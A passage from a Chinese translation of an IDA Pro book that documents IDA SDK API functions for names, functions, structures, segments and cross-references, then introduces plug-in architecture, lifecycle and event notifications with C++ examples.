存在额外的函数用于访问不同的数据大小。请注意,get_original_XXX 函数获取第一个 原始 值,这个值不一定是补丁之前的地址处的值。考虑以下情况:字节值被补丁两次;随着时间的推移,这个字节已经持有三个不同的值。在第二次补丁之后,当前值和原始值都是可访问的,但无法获得第二个值(这是第一次补丁设置的)。

用户界面函数

与 IDA 用户界面的交互由一个名为 callui 的单个 分发器 函数处理。通过将用户界面请求(枚举 ui_notification_t 常量之一)和请求所需的任何附加参数传递给 callui 来请求各种用户界面服务。每个请求类型所需的参数在 kernwin.hpp 中指定。幸运的是,kernwin.hpp 中还定义了多个便利函数,这些函数隐藏了直接使用 callui 的许多细节。以下描述了几个常见的便利函数:

msg(char *format, ...) 将格式化的消息打印到消息窗口。此函数类似于 C 的 printf 函数,并接受 printf 风格的格式字符串。
warning(char *format, ...) 在对话框中显示格式化的消息。
char *askstr(int hist, char *default, char *format, ...) 显示一个输入对话框,要求用户输入字符串值。hist 参数指定对话框中下拉历史记录列表的填充方式,应设置为 kernwin.hpp 中定义的 HIST_xxx 常量之一。format 字符串和任何其他参数用于形成提示字符串。
char *askfile_c(int dosave, char *default, char *prompt, ...) 显示一个文件保存(dosave = 1)或文件打开(dosave = 0)对话框,最初显示默认指定的目录和文件掩码(例如 C:\\windows\\*.exe)。返回所选文件的名称或 NULL(如果对话框被取消)。
askyn_c(int default, char *prompt, ...) 提示用户以是或否的问题,突出显示默认答案(1 = 是,0 = 否,-1 = 取消)。返回表示所选答案的整数。
AskUsingForm_c(const char *form, ...) form 参数是一个对话框及其相关输入元素的 ASCII 字符串规范。此函数可用于在 SDK 的其他便利函数都无法满足需求时构建自定义用户界面元素。form 字符串的格式在 kernwin.hpp 中有详细说明。
get_screen_ea() 返回当前光标位置的虚拟地址。
jumpto(ea_t addr) 将反汇编窗口跳转到指定的地址。

使用 API 可以获得比 IDC 脚本更多的用户界面功能,包括创建自定义的单列和多列列表选择对话框的能力。对这些功能感兴趣的用户应查阅 kernwin.hpp 以及 choosechoose2 函数。

数据库名称操作

以下函数可用于在数据库中处理命名位置:

get_name(ea_t from, ea_t addr, char *namebuf, size_t maxsize) 返回与 addr 关联的名称。如果位置没有名称,则返回空字符串。当 from 是包含 addr 的函数中的任何地址时,此函数提供对局部名称的访问。名称被复制到提供的输出缓冲区中。
set_name(ea_t addr, char *name, int flags) 将给定的名称分配给给定的地址。名称使用 flags 位掩码中指定的属性创建。可能的标志值在 name.hpp 中描述。
get_name_ea(ea_t funcaddr, char *localname) 在包含 funcaddr 的函数中搜索给定的局部名称。如果给定函数中不存在此类名称,则返回名称的地址或 BADADDR(-1)。

函数操作

访问反汇编函数信息的 API 函数在 funcs.hpp 中声明。访问堆栈帧信息的函数在 frame.hpp 中声明。以下是一些常用函数的描述:

func_t *get_func(ea_t addr) 返回一个指向 func_t 对象的指针,该对象描述了包含指定地址的函数。
size_t get_func_qty() 返回数据库中函数的数量。
func_t *getn_func(size_t n) 返回一个指向 func_t 对象的指针,该对象表示数据库中的第 n 个函数,其中 n 在零(包含)和 get_func_qty()(不包含)之间。
func_t *get_next_func(ea_t addr) 返回一个指向 func_t 对象的指针,该对象描述了指定地址之后的下一个函数。
get_func_name(ea_t addr, char *name, size_t namesize) 将包含指定地址的函数的名称复制到提供的名称缓冲区中。
struc_t *get_frame(ea_t addr) 返回一个指向 struc_t 对象的指针,该对象描述了包含指定地址的函数的堆栈帧。

结构操作

struc_t 类用于访问函数调用栈帧以及类型库中定义的结构化数据类型。这里描述了一些与结构和它们相关成员交互的基本函数。许多这些函数都使用了类型 ID (tid_t) 数据类型。API 包含将 struc_t 映射到相关 tid_t 以及相反的函数。请注意,struc_tmember_t 类都包含一个 tid_t 数据成员,因此如果你已经有了有效 struc_tmember_t 对象的指针,获取类型 ID 信息就很简单了。

tid_t get_struc_id(char *name) 根据结构名称查找类型 ID。
struc_t *get_struc(tid_t id) 获取一个指向 struc_t 的指针,该 struc_t 表示由给定类型 ID 指定的结构。
asize_t get_struc_size(struc_t *s) 返回给定结构的大小(以字节为单位)。
member_t *get_member(struc_t *s, asize_t offset) 返回一个指向 member_t 对象的指针,该对象描述了位于给定结构中指定 offset 的结构成员。
member_t *get_member_by_name(struc_t *s, char *name) 返回一个指向 member_t 对象的指针,该对象描述了由给定 name 标识的结构成员。
tid_t add_struc(uval_t index, char *name, bool is_union=false) 将具有给定 name 的新结构追加到标准结构列表中。该结构也被添加到给定 index 的结构窗口中。如果 indexBADADDR,则该结构作为结构窗口中的最后一个结构添加。
add_struc_member(struc_t *s, char *name, ea_t offset, flags_t flags, typeinfo_t *info, asize_t size) 向给定的结构中添加一个具有给定 name 的新成员。该成员要么在结构中指定的 offset 位置添加,要么如果 offsetBADADDR,则添加到结构的末尾。flags 参数描述了新成员的数据类型。有效的标志是通过在 bytes.hpp 中描述的 FF_XXX 常量定义的。info 参数为复杂数据类型提供附加信息;对于原始数据类型,它可能被设置为 NULLtypeinfo_t 数据类型在 nalt.hpp 中定义。size 参数指定新成员占用的字节数。

段操作

segment_t 类存储与数据库中不同段(如 .text.data)相关的信息,如 View ▸ Open Subviews ▸ Segments 窗口中列出。回想一下,IDA 所称的 通常被各种可执行文件格式(如 PE 和 ELF)称为 。以下函数提供了对 segment_t 对象的基本访问。处理 segment_t 类的附加函数在 segment.hpp 中声明。

segment_t *getseg(ea_t addr) 返回包含给定地址的 segment_t 对象的指针。
segment_t *ida_export get_segm_by_name(char *name) 返回具有给定名称的 segment_t 对象的指针。
add_segm(ea_t para, ea_t start, ea_t end, char *name, char *sclass) 在当前数据库中创建一个新的段。段的边界由 start(包含)和 end(排除)地址参数指定,而段名由 name 参数指定。段的类大致描述了正在创建的段类型。预定义的类包括 CODEDATA。预定义类的完整列表可以在 segment.hpp 中找到。para 参数描述了当使用分段地址(seg:offset)时,节的基地址;在这种情况下,startend 被解释为偏移量而不是虚拟地址。当不使用分段地址或所有段基于 0 时,此参数应设置为 0。
add_segm_ex(segment_t *s, char *name, char *sclass, int flags) 创建新段的替代方法。s 的字段应设置为反映段的地址范围。段根据 namesclass 参数命名和分类。flags 参数应设置为在 segment.hpp 中定义的 ADDSEG_XXX 值之一。
int get_segm_qty() 返回数据库中存在的段数。
segment_t *getnseg(int n) 返回一个 segment_t 对象的指针,其中包含数据库中第 n 个程序节的信息。
int set_segm_name(segment_t *s, char *name, ...) 更改给定段的名称。名称是通过将 name 作为格式字符串处理,并按照格式字符串的要求合并任何附加参数来形成的。
get_segm_name(ea_t addr, char *name, size_t namesize) 将包含给定地址的段名称复制到用户提供的 name 缓冲区中。注意,name 可能会被过滤,以替换 IDA 认为无效的字符(在 ida.cfg 中未指定为 NameChars 的字符)为一个占位符字符(通常是一个下划线,如 ida.cfg 中的 SubstChar 所指定)。
get_segm_name(segment_t *s, char *name, size_t namesize) 将给定段的可能已过滤的名称复制到用户提供的 name 缓冲区中。
get_true_segm_name(segment_t *s, char *name, size_t namesize) 将给定段的准确名称复制到用户提供的 name 缓冲区中,而不过滤任何字符。

必须使用 add_segm 中的一个函数来实际创建一个段。仅仅声明和初始化一个 segment_t 对象并不会在数据库中实际创建一个段。这对于所有包装类(如 func_tstruc_t)都是正确的。这些类仅仅提供了一个方便的方式来访问底层数据库实体的属性。为了对数据库进行持久性更改,必须使用适当的函数来创建、修改或删除实际的数据库对象。

代码交叉引用

xref.hpp 中定义了多个函数和枚举常量,用于与代码交叉引用一起使用。其中一些在这里进行了描述:

get_first_cref_from(ea_t from) 返回给定地址转移控制权的第一个位置。如果给定地址不指向其他地址,则返回 BADADDR (-1)。
get_next_cref_from(ea_t from, ea_t current) 在给定地址 (from) 已经由先前的 get_first_cref_fromget_next_cref_from 调用返回的情况下,返回给定地址的控制权转移到的下一个位置。如果没有更多的交叉引用存在,则返回 BADADDR。
get_first_cref_to(ea_t to) 返回控制权转移到给定地址的第一个位置。如果没有对给定地址的引用,则返回 BADADDR (-1)。
get_next_cref_to(ea_t to, ea_t current) 在给定地址 (to) 已经由先前的 get_first_cref_toget_next_cref_to 调用返回的情况下,返回控制权转移到给定地址 (to) 的下一个位置。如果没有更多到给定位置的交叉引用存在,则返回 BADADDR。

数据交叉引用

访问数据交叉引用信息的函数(也在 xref.hpp 中声明)与用于访问代码交叉引用信息的函数非常相似。这些函数在这里进行了描述:

get_first_dref_from(ea_t from) 返回引用给定地址作为数据值的第一个位置。如果给定地址不引用其他地址,则返回 BADADDR (-1)。
get_next_dref_from(ea_t from, ea_t current) 返回引用给定地址(from)作为数据值的下一个位置,前提是 current 已经由之前的 get_first_dref_fromget_next_dref_from 调用返回。如果没有更多交叉引用,则返回 BADADDR。
get_first_dref_to(ea_t to) 返回引用给定地址作为数据的第一个位置。如果没有引用给定地址,则返回 BADADDR (-1)。
get_next_dref_to(ea_t to, ea_t current) 返回引用给定地址(to)作为数据的下一个位置,前提是 current 已经由之前的 get_first_dref_toget_next_dref_to 调用返回。如果没有更多给定位置的交叉引用,则返回 BADADDR。

SDK 中没有与 IDC 的 XrefType 函数等效的功能。在 xref.hpp 中声明了一个名为 lastXR 的变量;然而,它没有被导出。如果您需要确定交叉引用的确切类型,您必须使用 xrefblk_t 结构遍历交叉引用。xrefblk_t 在“枚举交叉引用”中描述。

使用 IDA API 的遍历技术

使用 IDA API,通常有几种不同的方式来遍历各种数据库对象。在以下示例中,我们展示了某些常见的遍历技术:

枚举函数

遍历数据库中函数的第一个技术模仿了我们使用 IDC 执行相同任务的方式:

for (func_t *f = get_next_func(0); f != NULL; f = get_next_func(f->startEA)) {
   char fname[1024];
   get_func_name(f->startEA, fname, sizeof(fname));
   msg("%08x: %s\n", f->startEA, fname);
}

或者,我们可以简单地通过索引号遍历函数,如下一个示例所示:

for (int idx = 0; idx < get_func_qty(); idx++) {
   char fname[1024];
   func_t *f = getn_func(idx);
   get_func_name(f->startEA, fname, sizeof(fname));
   msg("%08x: %s\n", f->startEA, fname);
}

最后,我们可以在一个较低的水平上工作,并使用一个名为 areacb_t 的数据结构,也称为 区域控制块,它在 area.hpp 中定义。区域控制块用于维护相关 area_t 对象的列表。一个名为 funcs 的全局 areacb_t 被导出(在 funcs.hpp 中)作为 IDA API 的一部分。使用 areacb_t 类,前面的示例可以重写如下:

 int a = funcs.get_next_area(0);
  while (a != −1) {
     char fname[1024];
    func_t *f = (func_t*)funcs.getn_area(a);  // getn_area returns an area_t
     get_func_name(f->startEA, fname, sizeof(fname));
     msg("%08x: %s\n", f->startEA, fname);
    a = funcs.get_next_area(f->startEA);
  }

在此示例中,get_next_area 成员函数 被反复使用以获取 funcs 控制块中每个区域的索引值。通过将每个索引值提供给 getn_area 成员函数 ,可以获得每个相关 func_t 区域的指针。在 SDK 中声明了几个全局 areacb_t 变量,包括 segs 全局变量,它是一个包含二进制中每个部分 segment_t 指针的区域控制块。

枚举结构成员

在 SDK 中,栈帧是通过struc_t类的功能来建模的。在示例 16-6 中,利用结构成员迭代作为打印栈帧内容的一种手段。

示例 16-6. 枚举栈帧成员

func_t *func = get_func(get_screen_ea());  //get function at cursor location
msg("Local variable size is %d\n", func->frsize);
msg("Saved regs size is %d\n", func->frregs);
struc_t *frame = get_frame(func);          //get pointer to stack frame
if (frame) {
   size_t ret_addr = func->frsize + func->frregs;  //offset to return address
   for (size_t m = 0; m < frame->memqty; m++) {    //loop through members
      char fname[1024];
      get_member_name(frame->members[m].id, fname, sizeof(fname));
      if (frame->members[m].soff < func->frsize) {
         msg("Local variable ");
      }
      else if (frame->members[m].soff > ret_addr) {
         msg("Parameter ");
      }
      msg("%s is at frame offset %x\n", fname, frame->members[m].soff);
      if (frame->members[m].soff == ret_addr) {
         msg("%s is the saved return address\n", fname);
      }
   }
}

此示例使用函数的func_t对象和表示函数栈帧的关联struc_t对象中的信息来总结函数的栈帧。frsizefrregs字段分别指定栈帧局部变量部分的大小和分配给保存寄存器的字节数。保存的返回地址可以在局部变量和保存的寄存器之后的帧中找到。在帧本身中,memqty字段指定帧结构中定义的成员数量,这也对应于members数组的大小。使用循环检索每个成员的名称,并根据其在帧结构中的起始偏移量(soff)确定该成员是局部变量还是参数。

枚举交叉引用

在第十五章中,我们了解到从 IDC 脚本中枚举交叉引用是可能的。在 SDK 中,虽然形式略有不同,但同样具备这些功能。例如,让我们回顾一下列出特定函数所有调用的想法(参见示例 15-4,在枚举导出函数中)。以下函数几乎可以工作。

void list_callers(char *bad_func) {
   char name_buf[MAXNAMELEN];
   ea_t func = get_name_ea(BADADDR, bad_func);
   if (func == BADADDR) {
      warning("Sorry, %s not found in database", bad_func);
   }
   else {
      for (ea_t addr = get_first_cref_to(func); addr != BADADDR;
           addr = get_next_cref_to(func, addr)) {
         char *name = get_func_name(addr, name_buf, sizeof(name_buf));
         if (name) {
            msg("%s is called from 0x%x in %s\n", bad_func, addr, name);
         }
         else {
            msg("%s is called from 0x%x\n", bad_func, addr);
         }
      }
   }
}

这个函数几乎可以工作的原因是无法确定循环每次迭代返回的交叉引用类型(回想一下,SDK 中没有 IDC 的XrefType等效项)。在这种情况下,我们应该验证给定的每个函数的交叉引用实际上是一种调用类型(fl_CNfl_CF)的交叉引用。

当您需要在 SDK 中确定交叉引用的类型时,您必须使用由xrefblk_t结构提供的替代形式的交叉引用迭代,该结构在xref.hpp中有所描述。xrefblk_t的基本布局如下所示。(有关完整详情,请参阅xref.hpp。)

struct xrefblk_t {
    ea_t from;     // the referencing address - filled by first_to(),next_to()
    ea_t to;       // the referenced address - filled by first_from(), next_from()
    uchar iscode;  // 1-is code reference; 0-is data reference
    uchar type;    // type of the last returned reference
    uchar user;    // 1-is user defined xref, 0-defined by ida

    //fill the "to" field with the first address to which "from" refers.
   bool first_from(ea_t from, int flags);

    //fill the "to" field with the next address to which "from" refers.
    //This function assumes a previous call to first_from.
   bool next_from(void);

    //fill the "from" field with the first address that refers to "to".
   bool first_to(ea_t to,int flags);

    //fill the "from" field with the next address that refers to "to".
    //This function assumes a previous call to first_to.
   bool next_to(void);
  };

xrefblk_t的成员函数用于初始化结构!和!,并执行迭代!和!,而数据成员用于访问检索到的最后一个交叉引用的信息。first_fromfirst_to函数所需的flags值决定了应返回哪种类型的交叉引用。flags参数的有效值包括以下内容(来自xref.hpp):

#define XREF_ALL        0x00            // return all references
#define XREF_FAR        0x01            // don't return ordinary flow xrefs
#define XREF_DATA       0x02            // return data references only

注意,没有标志值限制返回的引用仅限于代码。如果您对代码交叉引用感兴趣,您必须将xrefblk_t type字段与特定的交叉引用类型(如fl_JN)进行比较,或者测试iscode字段以确定最后一个返回的交叉引用是否是代码交叉引用。

下面的list_callers函数的修改版本展示了xrefblk_t迭代结构的用法。

void list_callers(char *bad_func) {
     char name_buf[MAXNAMELEN];
     ea_t func = get_name_ea(BADADDR, bad_func);
     if (func == BADADDR) {
        warning("Sorry, %s not found in database", bad_func);
     }
     else {
        xrefblk_t xr;
        for (bool ok = xr.first_to(func, XREF_ALL); ok; ok = xr.next_to()) {
          if (xr.type != fl_CN && xr.type != fl_CF) continue;
           char *name = get_func_name(xr.from, name_buf, sizeof(name_buf));
           if (name) {
              msg("%s is called from 0x%x in %s\n", bad_func, xr.from, name);
           }
           else {
              msg("%s is called from 0x%x\n", bad_func, xr.from);
           }
        }
     }
  }

通过使用xrefblk_t,我们现在有机会检查由迭代器返回的每个交叉引用的类型,并决定它对我们是否有兴趣。在这个例子中,我们简单地忽略任何与函数调用无关的交叉引用。我们没有使用xrefblk_tiscode成员,因为iscode对于跳转和普通流程交叉引用来说也是真的,而不仅仅是调用交叉引用。因此,仅凭iscode本身并不能保证当前交叉引用与函数调用相关。


^([116]) 二进制大对象,或blob,是一个常用来指代不同大小的任意二进制数据的术语。

摘要

本章描述的函数和数据结构只是触及了 IDA API 的表面。对于描述的每个功能类别,都存在许多执行更专业任务并提供比使用 IDC 更精细控制的 API 函数。在接下来的章节中,我们将介绍构建插件模块、加载模块和处理器模块的细节,并继续扩展我们对 SDK 功能的介绍。

第十七章。IDA 插件架构

无标题的图片

在接下来的几章中,我们将介绍可以使用 IDA SDK 构建的各种模块类型。我们还将讨论自 IDA 5.7 以来引入的新功能,这些功能允许使用 IDA 的脚本语言之一来开发这些相同类型的模块。无论你是否打算创建自己的插件,对插件的基本理解都将极大地增强你在使用 IDA 时的体验,因为可以说,为 IDA 开发的第三方软件的大部分都是以插件的形式分发的。在本章中,我们通过讨论 IDA 插件的目的以及如何构建、安装和配置它们,开始对 IDA 模块进行探索。

插件最好被描述为编译后的、尽管更强大的 IDA 脚本的等价物。插件通常与热键和/或菜单项相关联,并且通常只能在数据库打开后才能访问。单个插件可能是通用的,适用于广泛的二进制文件类型和处理器架构,或者它们可能是非常专业的,仅设计用于特定文件格式或处理器类型。在所有情况下,由于是编译模块,插件可以完全访问 IDA API,并且通常可以执行比仅使用脚本所能完成的更复杂的任务。

编写插件

所有 IDA 模块,包括插件,都作为适合插件预期执行的平台上的共享库组件实现。在 IDA 的模块化架构下,模块不需要导出任何函数。相反,每种模块类型必须导出一个特定类的变量。在插件的情况下,这个类被称为 plugin_t,并在 SDK 的 loader.hpp 文件中定义。

不断演进的 IDA API

自 SDK 4.9 以来,Hex-Rays 试图最小化 IDA 版本之间 API 函数的变化。这一政策的一个结果是,旧版本的 IDA 的二进制插件可以直接复制到新的 IDA 安装中,并继续正常工作。尽管如此,IDA 的 API 随着每个新版本的发布而增长,引入了新的函数和新的选项,以利用 IDA 持续扩展的功能列表。随着 SDK 的发展,Hex-Rays 选择弃用偶尔的 API 函数。当一个函数(或任何其他符号)被弃用时,Hex-Rays 会将其移动到一个由 NO_OBSOLETE_FUNCS 宏的测试所包围的代码块中。如果你希望确保你的插件(或其他模块)没有使用任何弃用的函数,你应该在包含任何 SDK 头文件之前定义 NO_OBSOLETE_FUNCS

为了理解如何创建插件,你必须首先了解 plugin_t 类及其组件数据字段(该类没有成员函数)。plugin_t 类的布局在此处显示,注释来自 loader.hpp

class plugin_t {
public:
  int version;          // Should be equal to IDP_INTERFACE_VERSION
  int flags;            // Features of the plugin
  int (idaapi* init)(void); // Initialize plugin
  void (idaapi* term)(void);   // Terminate plugin. This function will be called
                            // when the plugin is unloaded. May be NULL.
  void (idaapi* run)(int arg); // Invoke plugin
  char *comment;               // Long comment about the plugin
  char *help;           // Multiline help about the plugin
  char *wanted_name;    // The preferred short name of the plugin
  char *wanted_hotkey;  // The preferred hotkey to run the plugin
};

每个插件都必须导出一个名为PLUGINplugin_t对象。导出你的PLUGIN对象由loader.hpp处理,这让你负责声明和初始化实际的对象。由于成功创建插件依赖于正确初始化此对象,所以我们在这里描述了每个成员的目的。请注意,即使你更喜欢利用 IDA 的新脚本插件功能,你仍然需要熟悉这些字段,因为它们在脚本插件中也被使用。

version

此成员指示用于构建插件的 API 版本号。它通常设置为在idp.hpp中声明的常量IDP_INTERFACE_VERSION。自 API 与 SDK 版本 4.9 标准化以来,此常量的值没有变化。此字段的原始目的是防止使用较早版本的 SDK 创建的插件被加载到使用较新版本的 SDK 构建的 IDA 版本中。

flags

此字段包含各种标志,指示 IDA 在不同情况下如何处理插件。这些标志是通过在loader.hpp中定义的PLUGIN_XXX常量的位组合来设置的。对于许多插件,将此字段设置为 0 将足够。请参阅loader.hpp了解每个标志位的含义。

init

这是plugin_t类中包含的三个函数指针中的第一个。这个特定的成员是指向插件初始化函数的指针。该函数不接受任何参数,并返回一个int。IDA 调用此函数以给插件一个被加载的机会。插件的初始化在插件初始化中讨论。

term

此成员是一个另一个函数指针。当你的插件卸载时,IDA 会调用相关的函数。该函数不接受任何参数,也不返回任何值。此函数的目的是在 IDA 卸载插件之前执行插件所需的任何清理任务(释放内存、关闭句柄、保存状态等)。

run

此成员指向当用户通过热键、菜单项或脚本调用激活(your plug-in)时应该被调用的函数。这个函数是任何插件的核心,因为用户与插件关联的行为定义在这里。这个函数与脚本行为最为相似。该函数接收一个整数参数(在插件执行中讨论),并返回空值。

comment

该成员是一个指向字符字符串的指针,用作插件的注释。它不会被 IDA 直接使用,可以安全地设置为 NULL。

help

该成员是一个指向字符字符串的指针,用作多行帮助字符串。它不会被 IDA 直接使用,可以安全地设置为 NULL。

wanted_name

该成员是一个指向字符字符串的指针,包含插件的名称。当插件被加载时,这个字符串被添加到 Edit ▸ Plugins 菜单中,作为激活插件的一种方式。虽然不需要该名称在已加载的插件中是唯一的,但在从菜单中选择名称时,很难确定哪个具有相同名称的插件将被激活。

wanted_hotkey

该成员是一个指向字符字符串的指针,包含要尝试与插件关联的热键名称(例如 "Alt-F8")。在这里,也没有必要要求这个值在已加载的插件中是唯一的;然而,如果该值不是唯一的,则热键将与最后请求它的插件关联。配置插件中的配置插件讨论了用户如何覆盖 wanted_hotkey 值。

下面展示了初始化 plugin_t 对象的示例:

int idaapi idaboook_plugin_init(void);
void idaapi idaboook_plugin_term(void);
void idaapi idaboook_plugin_run(int arg);

char idabook_comment[] = "This is an example of a plugin";
char idabook_name[] = "Idabook";
char idabook_hotkey = "Alt-F9";

plugin_t PLUGIN = {
   IDP_INTERFACE_VERSION, 0, idaboook_plugin_init, idaboook_plugin_term,
    idaboook_plugin_run, idabook_comment, NULL, idabook_name, idabook_hotkey
};

plugin_t 类中包含的功能指针允许 IDA 在不要求您导出这些函数或为这些函数选择特定名称的情况下,在您的插件中定位所需的函数。

插件生命周期

一个典型的 IDA 会话从启动 IDA 应用程序本身开始,然后通过加载和分析新的二进制文件或现有数据库,最后进入等待用户交互的状态。在这个过程中,IDA 提供了三个不同的点,让插件有机会加载:

  1. 插件可以在 IDA 启动时立即加载,无论是否正在加载数据库。以这种方式加载由 PLUGIN.flags 中的 PLUGIN_FIX 位是否存在控制。

  2. 插件可以在处理器模块之后立即加载,并保持加载状态,直到处理器模块被卸载。将插件绑定到处理器模块由 PLUGIN.flags 中的 PLUGIN_PROC 位控制。

  3. 在没有上述标志位的情况下,IDA 每次在 IDA 中打开数据库时都为插件提供加载的机会。

IDA 通过调用 PLUGIN.init 为插件提供加载的机会。当被调用时,init 函数应确定插件是否设计为在 IDA 的当前状态下加载。当前状态 的含义取决于在插件加载时适用的前三种情况中的哪一种。插件可能感兴趣的示例状态包括输入文件类型(例如,插件可能专门设计用于与 PE 文件一起使用)和处理器类型(插件可能仅设计用于与 x86 二进制文件一起使用)。

为了向 IDA 表达其愿望,PLUGIN.init 必须返回在 loader.hpp 中定义的以下值之一。

PLUGIN_SKIP 返回此值表示插件不应被加载。
PLUGIN_OK 返回此值指示 IDA 使插件可用于与当前数据库一起使用。当用户通过菜单操作或热键激活插件时,IDA 会加载插件。
PLUGIN_KEEP 返回此值指示 IDA 使插件可用于与当前数据库一起使用,并保持插件在内存中加载。

一旦插件被加载,可以通过两种方式之一激活它。激活插件最常见的方法是用户根据菜单选择或热键激活的指示。每次以这种方式激活插件时,IDA 都会通过调用 PLUGIN.run 将控制权传递给插件。另一种激活插件的方法是插件挂钩到 IDA 的事件通知系统。在这种情况下,插件必须表达对一种或多种 IDA 事件感兴趣,并注册一个回调函数,以便 IDA 在任何感兴趣的事件发生时调用。

当插件需要卸载时,IDA 会调用 PLUGIN.term(假设它非 NULL)。插件卸载的情况根据 PLUGIN.flags 中设置的位而变化。未指定标志位的插件根据 PLUGIN.init 返回的值加载。这些类型的插件在为它们加载的数据库关闭时卸载。

当插件指定 PLUGIN_UNL 标志位时,插件在每次调用 PLUGIN.run 之后卸载。此类插件必须在每次后续激活时重新加载(导致调用 PLUGIN.init)。指定 PLUGIN_PROC 标志位的插件在为它们加载的处理器模块卸载时卸载。处理器模块在数据库关闭时卸载。最后,指定 PLUGIN_FIX 标志位的插件仅在 IDA 本身终止时卸载。

插件初始化

插件的初始化分为两个阶段。插件的静态初始化发生在编译时,而动态初始化是通过在 PLUGIN.init 中执行的操作在加载时发生的。如前所述,PLUGIN.flags 字段在编译时初始化,决定了插件的一些行为。

当 IDA 启动时,会检查/plugins目录中每个插件的PLUGIN.flags字段。在此阶段,IDA 会为指定了PLUGIN_FIX标志的每个插件调用PLUGIN.initPLUGIN_FIX插件在 IDA 的任何其他模块之前加载,因此有机会通知 IDA 能够生成的事件,包括由加载模块和处理器模块生成的通知。此类插件的PLUGIN.init函数通常应返回PLUGIN_OKPLUGIN_KEEP,因为在启动时请求加载它,然后在PLUGIN.init中返回PLUGIN_SKIP几乎没有意义。

然而,如果你的插件设计用于在 IDA 启动时执行一次性的初始化任务,你可以考虑在该插件的init函数中执行该任务,并通过返回PLUGIN_SKIP来表示插件不再需要。

每次加载处理器模块时,IDA 都会检查每个可用插件的PLUGIN_PROC标志,并为其中PLUGIN_PROC被设置的每个插件调用PLUGIN.initPLUGIN_PROC标志允许创建响应处理器模块生成通知的插件,从而补充这些模块的行为。此类模块的PLUGIN.init函数可以访问全局的processor_t对象ph,可以检查和使用它来确定插件是否应该被跳过或保留。例如,专门为与 MIPS 处理器模块一起使用而设计的插件,如果正在加载 x86 处理器模块,则可能应该返回PLUGIN_SKIP,如下所示:

int idaapi mips_init() {
   if (ph.id != PLFM_MIPS) return PLUGIN_SKIP;
   else return PLUGIN_OK;  //or, alternatively PLUGIN_KEEP
}

最后,每次加载或创建数据库时,都会调用尚未加载的每个插件的PLUGIN.init函数,以确定是否应该加载该插件。在此阶段,每个插件都可以使用任何数量的标准来决定 IDA 是否应该保留它。专用插件的例子包括那些针对特定文件类型(ELF、PE、Mach-O 等)、处理器类型或编译器类型提供特定行为的插件。

无论出于何种原因,当插件决定返回 PLUGIN_OK(或 PLUGIN_KEEP),PLUGIN.init 函数也应负责执行任何一次性的初始化动作,以确保插件在最终激活时能够正常工作。PLUGIN.init 所请求的资源应在 PLUGIN.term 中释放。PLUGIN_OKPLUGIN_KEEP 之间的主要区别在于,PLUGIN_KEEP 防止插件被反复加载和卸载,从而减少了在插件指定 PLUGIN_OK 时可能需要的分配、释放和重新分配资源的需要。一般来说,当插件未来的调用可能依赖于插件之前调用期间积累的状态时,PLUGIN.init 应返回 PLUGIN_KEEP。为此,插件可以通过使用持久化存储机制(如 netnodes)将任何状态信息存储在开放的 IDA 数据库中。使用这种技术,后续的插件调用可以定位并利用早期调用存储的数据。这种方法的优势在于,不仅可以在插件调用之间提供持久化存储,还可以在 IDA 会话之间提供持久化存储。

对于每个调用完全独立于任何先前调用的插件,通常适合 PLUGIN.init 返回 PLUGIN_OK,这具有减少 IDA 内存占用(在任何给定时间保持较少的模块加载到内存中)的优点。

事件通知

虽然插件通常通过用户通过菜单选择(编辑 ▸ 插件)或使用热键直接激活,但 IDA 的事件通知能力提供了激活插件的一种替代方法。

当你想让你的插件通知 IDA 内部发生的特定事件时,你必须注册一个回调函数来表示对特定事件类型的兴趣。hook_to_notification_point 函数用于通知 IDA(1)你对特定类别的事件感兴趣,并且(2)每次发生指示类别的事件时,IDA 应该调用你指定的函数。这里展示了使用 hook_to_notification_point 注册对数据库事件兴趣的示例:

//typedef for event hooking callback functions (from loader.hpp)
typedef int idaapi hook_cb_t(void *user_data, int notification_code, va_list va);
//prototype for  hook_to_notification_point (from loader.hpp)
bool hook_to_notification_point(hook_type_t hook_type,
                                hook_cb_t *callback,
                                void *user_data);
int idaapi idabook_plugin_init() {
   //Example call to  hook_to_notification_point
   hook_to_notification_point(HT_IDB, idabook_database_cb, NULL);
}

存在四种广泛的通知类别:处理器通知(idp_notify*idp.hpp*中,HT_IDP)、用户界面通知(ui_notification_t*kernwin.hpp*中,HT_UI)、调试器事件(dbg_notification_t*dbg.hpp*中,HT_DBG)和数据库事件(idp_event_t*idp.hpp*中,HT_IDB)。在每个事件类别中都有一些单独的通知代码,代表您将接收通知的特定事件。数据库(HT_IDB)通知的例子包括idb_event::byte_patched,表示数据库字节已被修补,以及idb_event::cmt_changed,表示常规或可重复的注释已被更改。每次事件发生时,IDA 都会调用每个已注册的回调函数,传递特定的事件-通知代码以及任何针对通知代码的特定参数。每个通知代码提供的参数在定义每个通知代码的 SDK 头文件中有详细说明。

继续先前的例子,我们可能定义一个回调函数来处理数据库事件,如下所示:

int idabook_database_cb(void *user_data, int notification_code, va_list va) {
     ea_t addr;
     ulong original, current;
     switch (notification_code) {
        case idb_event::byte_patched:
         addr = va_arg(va, ea_t);
           current = get_byte(addr);
           original = get_original_byte(addr);
           msg("%x was patched to %x.  Original value was %x\n",
                addr, current, original);
           break;
     }
     return 0;
  }

这个特定的例子只识别byte_patched通知消息,对于这个消息,它会打印出被修补字节的地址、字节的新的值以及字节的原始值。通知回调函数使用 C++变量参数列表va_list来提供对可变数量参数的访问,具体取决于向函数发送哪个通知代码。每个通知代码提供的参数数量和类型在定义每个通知代码的头文件中指定。byte_patched通知代码在*loader.hpp*中定义,以接收其va_list中的一个ea_t类型的参数。应该使用 C++的va_arg宏从va_list中检索连续的参数。在先前的例子中,从va_list中检索修补字节的地址在httpatomoreillycomsourcenostarchimages854061.png

这里展示了从数据库通知事件取消连接的例子:

void idaapi idabook_plugin_term() {
   unhook_from_notification_point(HT_IDB, idabook_database_cb, NULL);
}

所有表现良好的插件都应该在插件卸载时取消所有通知。这是PLUGIN.term函数的一个预期用途。未能取消所有活动通知几乎肯定会导致在插件卸载后不久 IDA 崩溃。

插件执行

到目前为止,我们已经讨论了 IDA 调用插件函数的几个实例。插件加载和卸载操作分别导致调用PLUGIN.initPLUGIN.term。通过编辑▸插件菜单或插件的关联热键激活用户插件会导致调用PLUGIN.run。最后,插件注册的回调函数可能会在 IDA 内部发生的各种事件响应中被调用。

